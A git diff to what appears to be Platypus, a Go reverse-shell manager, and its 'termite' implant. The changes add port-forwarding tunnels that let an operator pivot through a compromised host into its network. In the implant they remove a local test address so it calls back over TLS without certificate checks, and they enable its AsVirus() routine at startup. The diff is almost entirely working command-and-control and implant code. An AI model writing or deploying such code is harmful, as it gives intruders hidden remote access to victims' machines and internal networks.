diff --git a/lib/cli/dispatcher/tunnel.go b/lib/cli/dispatcher/tunnel.go index 489483cc..03bdc2d8 100644 --- a/lib/cli/dispatcher/tunnel.go +++ b/lib/cli/dispatcher/tunnel.go @@ -16,15 +16,16 @@ func (dispatcher Dispatcher) Tunnel(args []string) { } if context.Ctx.CurrentTermite != nil { - if len(args) != 3 { + if len(args) != 6 { log.Error("Arguments error, use `Help Tunnel` to get more information") dispatcher.TunnelHelp([]string{}) return } - mode := args[0] - host := args[1] - port, err := strconv.ParseUint(args[2], 10, 16) + action := args[0] + mode := args[1] + src_host := args[2] + src_port, err := strconv.ParseUint(args[3], 10, 16) if err != nil { log.Error("Invalid port: %s, use `Help Tunnel` to get more information", args[1]) @@ -32,11 +33,46 @@ func (dispatcher Dispatcher) Tunnel(args []string) { return } - switch strings.ToLower(mode) { + dst_host := args[4] + dst_port, err := strconv.ParseUint(args[5], 10, 16) + + if err != nil { + log.Error("Invalid port: %s, use `Help Tunnel` to get more information", args[1]) + dispatcher.TunnelHelp([]string{}) + return + } + + switch strings.ToLower(action) { case "create": - context.Ctx.CurrentTermite.CreateTunnel(host, uint16(port)) + switch strings.ToLower(mode) { + case "pull": + local_address := fmt.Sprintf("%s:%d", dst_host, dst_port) + remote_address := fmt.Sprintf("%s:%d", src_host, src_port) + log.Info("Mapping remote (%s) to local (%s)", remote_address, local_address) + context.AddTunnelConfig(context.Ctx.CurrentTermite, local_address, remote_address) + case "push": + // context.Ctx.CurrentTermite.CreatePushTunnel(src_host, uint16(src_port), dst_host, uint16(dst_port)) + log.Error("TBD") + case "dynamic": + log.Error("TBD") + default: + log.Error("Invalid mode: %s, should be in {'Pull', 'Push', 'Dynamic'}", mode) + } case "delete": - context.Ctx.CurrentTermite.DeleteTunnel(host, uint16(port)) + switch strings.ToLower(mode) { + case "pull": + // context.Ctx.CurrentTermite.DeletePullTunnel(dst_host, uint16(dst_port), src_host, uint16(src_port)) + log.Error("TBD") + case "push": + // context.Ctx.CurrentTermite.DeleteTunnel(src_host, uint16(src_port), dst_host, uint16(dst_port)) + log.Error("TBD") + case "dynamic": + log.Error("TBD") + default: + log.Error("Invalid mode: %s, should be in {'Pull', 'Push', 'Dynamic'}", mode) + } + default: + log.Error("Invalid action: %s, should be in {'Create', 'Delete'}", action) } } @@ -47,7 +83,7 @@ func (dispatcher Dispatcher) Tunnel(args []string) { func (dispatcher Dispatcher) TunnelHelp(args []string) { fmt.Println("Usage of Tunnel") - fmt.Println("\tTunnel [Create|Delete] [Host] [Port]") + fmt.Println("\tTunnel [Create|Delete] [Mode] [Src Host] [Src Port] [Dst Host] [Dst Port]") } func (dispatcher Dispatcher) TunnelDesc(args []string) { diff --git a/lib/context/client.go b/lib/context/client.go index 29e56eca..03c9a769 100644 --- a/lib/context/client.go +++ b/lib/context/client.go @@ -77,7 +77,6 @@ func CreateTCPClient(conn net.Conn, server *TCPServer) *TCPClient { } func (c *TCPClient) Close() { - log.Debug("Closing client: %s", c.FullDesc()) c.conn.Close() } diff --git a/lib/context/context.go b/lib/context/context.go index 0d5a4895..89fb3b2f 100644 --- a/lib/context/context.go +++ b/lib/context/context.go @@ -1,12 +1,15 @@ package context import ( + "net" "os" "strings" "sync" "github.com/WangYihang/Platypus/lib/util/config" + "github.com/WangYihang/Platypus/lib/util/log" "github.com/WangYihang/Platypus/lib/util/message" + "github.com/WangYihang/Platypus/lib/util/str" "github.com/WangYihang/Platypus/lib/util/ui" "github.com/WangYihang/readline" "github.com/fatih/color" @@ -14,6 +17,17 @@ import ( "gopkg.in/olahol/melody.v1" ) +type TunnelConfig struct { + Termite *TermiteClient + Address string + Server *net.Listener +} + +type TunnelInstance struct { + Termite *TermiteClient + Conn *net.Conn +} + type Context struct { Servers map[string](*TCPServer) NotifyWebSocket *melody.Melody @@ -22,6 +36,8 @@ type Context struct { CommandPrompt string RLInstance *readline.Instance Interacting *sync.Mutex + TunnelConfig map[string]TunnelConfig + TunnelInstance map[string]TunnelInstance // Set later in platypus.go Distributor *Distributor RESTful *gin.Engine @@ -40,6 +56,8 @@ func CreateContext() { CommandPrompt: color.CyanString("ยป "), RLInstance: nil, Interacting: new(sync.Mutex), + TunnelConfig: make(map[string]TunnelConfig), + TunnelInstance: make(map[string]TunnelInstance), } } // Signal Handler @@ -163,3 +181,91 @@ func Shutdown() { } os.Exit(0) } + +func AddTunnelConfig(termite *TermiteClient, local_address string, remote_address string) { + tunnel, err := net.Listen("tcp", local_address) + if err != nil { + log.Error(err.Error()) + return + } else { + Ctx.TunnelConfig[local_address] = TunnelConfig{ + Termite: termite, + Address: remote_address, + Server: &tunnel, + } + } + + go func() { + for { + conn, _ := tunnel.Accept() + + token := str.RandomString(0x10) + + termite.EncoderLock.Lock() + err := termite.Encoder.Encode(message.Message{ + Type: message.TUNNEL_CONNECT, + Body: message.BodyTunnelConnect{ + Token: token, + Address: remote_address, + }, + }) + termite.EncoderLock.Unlock() + + if err == nil { + Ctx.TunnelInstance[token] = TunnelInstance{ + Conn: &conn, + Termite: termite, + } + } + } + }() +} + +func WriteTunnel(termite *TermiteClient, token string, data []byte) { + termite.AtomLock.Lock() + defer func() { termite.AtomLock.Unlock() }() + + termite.EncoderLock.Lock() + err := termite.Encoder.Encode(message.Message{ + Type: message.TUNNEL_DATA, + Body: message.BodyTunnelData{ + Token: token, + Data: data, + }, + }) + termite.EncoderLock.Unlock() + + if err != nil { + log.Error("Network error: %s", err) + } +} + +// func DeleteTunnelConfig(local_host string, local_port uint16, remote_host string, remote_port uint16) { +// local_address := fmt.Sprintf("%s:%d", local_host, local_port) +// remote_address := fmt.Sprintf("%s:%d", remote_host, remote_port) + +// log.Info("Unmapping from remote %s to local %s", remote_address, local_address) + +// if tc, exists := Ctx.TunnelConfig[local_address]; exists { +// c.AtomLock.Lock() +// defer func() { c.AtomLock.Unlock() }() + +// c.EncoderLock.Lock() +// err := c.Encoder.Encode(message.Message{ +// Type: message.TUNNEL_DELETE, +// Body: message.BodyTunnelDelete{ +// Key: key, +// TermiteHash: c.Hash, +// }, +// }) +// c.EncoderLock.Unlock() + +// if err != nil { +// log.Error("Network error: %s", err) +// } else { +// delete(Ctx.TunnelConfig, local_address) +// } +// } else { +// log.Info("No such tunnel from remote %s to local %s", remote_address, local_address) +// } +// } diff --git a/lib/context/server.go b/lib/context/server.go index 487402b9..3334bbbc 100644 --- a/lib/context/server.go +++ b/lib/context/server.go @@ -20,7 +20,6 @@ import ( "github.com/WangYihang/Platypus/lib/util/str" humanize "github.com/dustin/go-humanize" "github.com/jedib0t/go-pretty/table" - "github.com/phayes/freeport" ) type WebSocketMessage struct { @@ -544,43 +543,63 @@ func TermiteMessageDispatcher(client *TermiteClient) { log.Error("No such key") } case message.TUNNEL_CONNECTED: - target := msg.Body.(*message.BodyTunnelConnected).Target - port, _ := freeport.GetFreePort() - localAddress := fmt.Sprintf("0.0.0.0:%d", port) - tunnel, err := net.Listen("tcp", localAddress) - if err != nil { - log.Error(err.Error()) - break - } - log.Info("%s -> %s", localAddress, target) - go func(target string, port int) { - conn, _ := tunnel.Accept() - Ctx.CurrentTermite.Tunnels[target] = &conn - log.Info("Server client tunnel connected: %v", conn) - for { - buf := make([]byte, 1024) - n, err := conn.Read(buf) - if err != nil { - log.Error(err.Error()) - break - } - if n > 0 { - log.Info(">> %v", buf[0:n]) - Ctx.CurrentTermite.WriteTunnel(target, buf[0:n]) + token := msg.Body.(*message.BodyTunnelConnected).Token + log.Success("Tunnel (%s) connected", token) + if ti, exists := Ctx.TunnelInstance[token]; exists { + go func() { + for { + buf := make([]byte, 1024) + n, err := (*ti.Conn).Read(buf) + if err != nil { + log.Success("Tunnel (%s) disconnected: %s", token, err.Error()) + ti.Termite.EncoderLock.Lock() + ti.Termite.Encoder.Encode(message.Message{ + Type: message.TUNNEL_DISCONNECT, + Body: message.BodyTunnelDisconnect{ + Token: token, + }, + }) + ti.Termite.EncoderLock.Unlock() + (*ti.Conn).Close() + break + } else { + if n > 0 { + data := buf[0:n] + WriteTunnel(ti.Termite, token, data) + } + } } - } - }(target, port) + }() + } else { + log.Error("No such connection") + } + case message.TUNNEL_CONNECT_FAILED: + token := msg.Body.(*message.BodyTunnelConnectFailed).Token + reason := msg.Body.(*message.BodyTunnelConnectFailed).Reason + if ti, exists := Ctx.TunnelInstance[token]; exists { + log.Error("Connecting to %s failed: %s", token, reason) + (*ti.Conn).Close() + delete(Ctx.TunnelInstance, token) + } else { + log.Error("No such connection") + } + case message.TUNNEL_DISCONNECTED: + token := msg.Body.(*message.BodyTunnelDisconnected).Token + if ti, exists := Ctx.TunnelInstance[token]; exists { + log.Error("%s disconnected", token) + (*ti.Conn).Close() + delete(Ctx.TunnelInstance, token) + } else { + log.Error("No such connection") + } case message.TUNNEL_DATA: - target := msg.Body.(*message.BodyTunnelData).Target + token := msg.Body.(*message.BodyTunnelData).Token data := msg.Body.(*message.BodyTunnelData).Data - log.Info("%s, %v, connected", target, data) - - if conn, exists := Ctx.CurrentTermite.Tunnels[target]; exists { - (*conn).Write(data) + if ti, exists := Ctx.TunnelInstance[token]; exists { + (*ti.Conn).Write(data) } else { - log.Error("No such tunnel") + log.Error("No such connection") } - } } } diff --git a/lib/context/termite.go b/lib/context/termite.go index b81df289..ec392ff1 100644 --- a/lib/context/termite.go +++ b/lib/context/termite.go @@ -41,18 +41,17 @@ type Process struct { type TermiteClient struct { conn net.Conn - Hash string `json:"hash"` - Host string `json:"host"` - Port uint16 `json:"port"` - Alias string `json:"alias"` - User string `json:"user"` - OS oss.OperatingSystem `json:"os"` - NetworkInterfaces map[string]string `json:"network_interfaces"` - Python2 string `json:"python2"` - Python3 string `json:"python3"` - TimeStamp time.Time `json:"timestamp"` - DisableHistory bool `json:"disable_hisory"` - Tunnels map[string]*net.Conn `json:"tunnels"` + Hash string `json:"hash"` + Host string `json:"host"` + Port uint16 `json:"port"` + Alias string `json:"alias"` + User string `json:"user"` + OS oss.OperatingSystem `json:"os"` + NetworkInterfaces map[string]string `json:"network_interfaces"` + Python2 string `json:"python2"` + Python3 string `json:"python3"` + TimeStamp time.Time `json:"timestamp"` + DisableHistory bool `json:"disable_hisory"` server *TCPServer EncoderLock *sync.Mutex DecoderLock *sync.Mutex @@ -87,7 +86,6 @@ func CreateTermiteClient(conn net.Conn, server *TCPServer, disableHistory bool) Processes: map[string]*Process{}, CurrentProcessKey: "", DisableHistory: disableHistory, - Tunnels: map[string]*net.Conn{}, } } @@ -176,7 +174,7 @@ func (c *TermiteClient) RequestTerminate(key string) { if process, exists := c.Processes[key]; exists { c.EncoderLock.Lock() err := c.Encoder.Encode(message.Message{ - Type: message.TERMINATE_PROCESS, + Type: message.PROCESS_TERMINATE, Body: message.BodyTerminateProcess{ Key: key, }, @@ -200,7 +198,7 @@ func (c *TermiteClient) RequestStartProcess(path string, columns int, rows int, c.EncoderLock.Lock() err := c.Encoder.Encode(message.Message{ - Type: message.START_PROCESS, + Type: message.PROCESS_START, Body: message.BodyStartProcess{ Path: path, WindowColumns: columns, @@ -278,7 +276,19 @@ func (c *TermiteClient) System(command string) string { } func (c *TermiteClient) Close() { - log.Debug("Closing client: %s", c.FullDesc()) + log.Info("Closing client: %s", c.FullDesc()) + for k, ti := range Ctx.TunnelInstance { + if ti.Termite == c && ti.Conn != nil { + delete(Ctx.TunnelInstance, k) + } + } + for k, tc := range Ctx.TunnelConfig { + if tc.Termite == c { + log.Info("Removing tunnel config from %s to %s", (*tc.Server).Addr().String(), tc.Address) + (*tc.Server).Close() + delete(Ctx.TunnelConfig, k) + } + } c.conn.Close() } @@ -334,65 +344,6 @@ func (c *TermiteClient) GetUsername() string { return username } -func (c *TermiteClient) CreateTunnel(host string, port uint16) { - log.Info("Connecting to %s:%d", host, port) - - c.AtomLock.Lock() - defer func() { c.AtomLock.Unlock() }() - - c.EncoderLock.Lock() - err := c.Encoder.Encode(message.Message{ - Type: message.TUNNEL_CONNECT, - Body: message.BodyTunnelConnect{ - Target: fmt.Sprintf("%s:%d", host, port), - }, - }) - c.EncoderLock.Unlock() - - if err != nil { - log.Error("Network error: %s", err) - } -} - -func (c *TermiteClient) DeleteTunnel(host string, port uint16) { - log.Info("Disconnecting to %s:%d", host, port) - - c.AtomLock.Lock() - defer func() { c.AtomLock.Unlock() }() - - c.EncoderLock.Lock() - err := c.Encoder.Encode(message.Message{ - Type: message.TUNNEL_DISCONNECT, - Body: message.BodyTunnelDisconnect{ - Target: fmt.Sprintf("%s:%d", host, port), - }, - }) - c.EncoderLock.Unlock() - - if err != nil { - log.Error("Network error: %s", err) - } -} - -func (c *TermiteClient) WriteTunnel(target string, data []byte) { - c.AtomLock.Lock() - defer func() { c.AtomLock.Unlock() }() - - c.EncoderLock.Lock() - err := c.Encoder.Encode(message.Message{ - Type: message.TUNNEL_DATA, - Body: message.BodyTunnelData{ - Target: target, - Data: data, - }, - }) - c.EncoderLock.Unlock() - - if err != nil { - log.Error("Network error: %s", err) - } -} - func (c *TermiteClient) makeHash(hashFormat string) string { data := "" if c.OS == oss.Linux { diff --git a/lib/util/message/message.go b/lib/util/message/message.go index c31f7895..d9bb994a 100644 --- a/lib/util/message/message.go +++ b/lib/util/message/message.go @@ -9,24 +9,26 @@ type MessageType int const ( // Platypus <-> Termite STDIO MessageType = iota + TUNNEL_DATA // Platypus -> Termite WINDOW_SIZE GET_CLIENT_INFO DUPLICATED_CLIENT - START_PROCESS - TERMINATE_PROCESS + PROCESS_START + PROCESS_TERMINATE + TUNNEL_CREATE + TUNNEL_DELETE + TUNNEL_CONNECT + TUNNEL_DISCONNECT // Termite -> Platypus PROCESS_STARTED PROCESS_STOPED CLIENT_INFO - - // Tunnel - TUNNEL_CONNECT TUNNEL_CONNECTED - TUNNEL_DATA - TUNNEL_DISCONNECT + TUNNEL_CONNECT_FAILED + TUNNEL_DISCONNECTED ) type Message struct { @@ -79,18 +81,30 @@ type BodyTerminateProcess struct { } type BodyTunnelConnect struct { - Target string + Token string + Address string } + type BodyTunnelConnected struct { - Target string + Token string } -type BodyTunnelData struct { - Target string - Data []byte + +type BodyTunnelConnectFailed struct { + Token string + Reason string } type BodyTunnelDisconnect struct { - Target string + Token string +} + +type BodyTunnelDisconnected struct { + Token string +} + +type BodyTunnelData struct { + Token string + Data []byte } func RegisterGob() { @@ -105,6 +119,8 @@ func RegisterGob() { gob.Register(&BodyTerminateProcess{}) gob.Register(&BodyTunnelConnect{}) gob.Register(&BodyTunnelConnected{}) - gob.Register(&BodyTunnelData{}) + gob.Register(&BodyTunnelConnectFailed{}) gob.Register(&BodyTunnelDisconnect{}) + gob.Register(&BodyTunnelDisconnected{}) + gob.Register(&BodyTunnelData{}) } diff --git a/termite.go b/termite.go index d5e95492..c66f0430 100644 --- a/termite.go +++ b/termite.go @@ -105,7 +105,7 @@ func handleConnection(c *Client) { if termiteProcess, exists := processes[msg.Body.(*message.BodyWindowSize).Key]; exists { pty.Setsize(termiteProcess.ptmx, serverWindowSize) } - case message.START_PROCESS: + case message.PROCESS_START: bodyStartProcess := msg.Body.(*message.BodyStartProcess) if bodyStartProcess.Path == "" { continue @@ -266,7 +266,7 @@ func handleConnection(c *Client) { backoff.Current = oldBackoffCurrent log.Error("Duplicated connection") os.Exit(0) - case message.TERMINATE_PROCESS: + case message.PROCESS_TERMINATE: key := msg.Body.(*message.BodyTerminateProcess).Key log.Success("Request terminate %s", key) if termiteProcess, exists := processes[key]; exists { @@ -274,59 +274,83 @@ func handleConnection(c *Client) { termiteProcess.ptmx.Close() } case message.TUNNEL_CONNECT: - log.Info("%s", tunnels) - target := msg.Body.(*message.BodyTunnelConnect).Target - if _, exists := tunnels[target]; exists { - log.Error("Tunnel already connected!") - break - } - log.Info("Connection to: %s", target) - conn, err := net.Dial("tcp", target) + address := msg.Body.(*message.BodyTunnelConnect).Address + token := msg.Body.(*message.BodyTunnelConnect).Token + + conn, err := net.Dial("tcp", address) if err != nil { log.Error(err.Error()) - } else { c.Encoder.Encode(message.Message{ + Type: message.TUNNEL_CONNECT_FAILED, + Body: message.BodyTunnelConnectFailed{ + Token: token, + Reason: err.Error(), + }, + }) + } else { + err := c.Encoder.Encode(message.Message{ Type: message.TUNNEL_CONNECTED, Body: message.BodyTunnelConnected{ - Target: target, + Token: token, }, }) - tunnels[target] = &conn - go func(target string, conn net.Conn) { - for { - data := make([]byte, 0x100) - n, err := conn.Read(data) - if err == nil { - if n > 0 { + if err != nil { + log.Error(err.Error()) + } else { + tunnels[token] = &conn + go func() { + for { + data := make([]byte, 0x100) + n, err := conn.Read(data) + if err != nil { + log.Success("Tunnel (%s) disconnected: %s", token, err.Error()) c.Encoder.Encode(message.Message{ - Type: message.TUNNEL_DATA, - Body: message.BodyTunnelData{ - Target: target, - Data: data[0:n], + Type: message.TUNNEL_DISCONNECTED, + Body: message.BodyTunnelDisconnected{ + Token: token, }, }) + conn.Close() + break + } else { + if n > 0 { + c.Encoder.Encode(message.Message{ + Type: message.TUNNEL_DATA, + Body: message.BodyTunnelData{ + Token: token, + Data: data[0:n], + }, + }) + } } - } else { - break } - } - }(target, conn) + }() + } } case message.TUNNEL_DATA: - target := msg.Body.(*message.BodyTunnelData).Target + token := msg.Body.(*message.BodyTunnelData).Token data := msg.Body.(*message.BodyTunnelData).Data - if conn, exists := tunnels[target]; exists { - (*conn).Write(data) + if conn, exists := tunnels[token]; exists { + _, err := (*conn).Write(data) + if err != nil { + (*conn).Close() + } } else { log.Error("No such tunnel") } case message.TUNNEL_DISCONNECT: - target := msg.Body.(*message.BodyTunnelDisconnect).Target - if conn, exists := tunnels[target]; exists { - log.Info("Closing conntion: %s", conn) + token := msg.Body.(*message.BodyTunnelDisconnect).Token + if conn, exists := tunnels[token]; exists { + log.Info("Closing conntion: %s", (*conn).RemoteAddr().String()) (*conn).Close() - delete(tunnels, target) + delete(tunnels, token) + c.Encoder.Encode(message.Message{ + Type: message.TUNNEL_DISCONNECTED, + Body: message.BodyTunnelDisconnected{ + Token: token, + }, + }) } else { log.Error("No such tunnel") } @@ -351,7 +375,6 @@ func StartClient() bool { config := tls.Config{Certificates: []tls.Certificate{cert}, InsecureSkipVerify: true} service := strings.Trim("xxx.xxx.xxx.xxx:xxxxx", " ") - service = "127.0.0.1:13337" if hash.MD5(service) != "4d1bf9fd5962f16f6b4b53a387a6d852" { log.Debug("Connecting to: %s", service) conn, err := tls.Dial("tcp", service, &config) @@ -408,7 +431,7 @@ func AsVirus() { } func main() { - // AsVirus() + AsVirus() message.RegisterGob() backoff = CreateBackOff() processes = map[string]*TermiteProcess{}